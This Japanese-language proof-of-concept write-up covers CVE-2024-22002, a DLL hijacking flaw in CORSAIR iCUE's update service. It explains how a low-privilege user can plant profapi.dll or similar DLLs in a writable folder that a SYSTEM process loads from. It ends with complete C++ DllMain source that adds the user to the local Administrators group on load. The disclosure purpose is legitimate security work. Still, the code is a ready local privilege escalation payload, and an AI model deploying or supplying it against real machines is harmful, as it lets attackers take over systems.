
CVE-2024-22002の概念実証エクスプロイト。CORSAIR iCUEの更新サービスにおけるDLLハイジャックを介したローカル権限昇格を実証し、SYSTEMとしてコードを実行します。
iCUE v5.9.105において、DLLハイジャックの脆弱性が確認されました。この脆弱性は、"iCUEUpdateService"サービスによって管理される更新プロセス中に発生します。このサービスは、"NT AUTHORITY\SYSTEM"権限で動作するプロセス("cuepkg.exe")を起動し、更新を実行します。プロセス開始時、iCUEインストールディレクトリ内の\cuepkg-1.2.6ディレクトリから様々なDLLを検索します。これらのDLLの一部はデフォルトでは存在しませんが、一般ユーザーがそのディレクトリにファイルを作成する権限を持っているため、攻撃者は悪意のあるDLLをそのディレクトリに仕込む可能性があります。その結果、この悪意のあるDLLがcuepkg.exeによって管理者権限でロードされます。
検出された影響を受けるDLLは以下の通りです:
MSASN1.dllNTASN1.dllprofapi.dllCVSSベクター: (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)
例として、DLL profapi.dllを使用します。
%INSTALLDIR%cuepkg-1.2.6ディレクトリに追加します。悪意のあるDLLが実行される前のlowprivユーザーの権限:

悪意のあるDLLが実行された後のlowprivユーザーの権限:

#include "pch.h"
#include <windows.h>
#include <cstdlib>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
{
system("net localgroup Administrators desktop-ckfiane\\lowpriv /add");
}
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}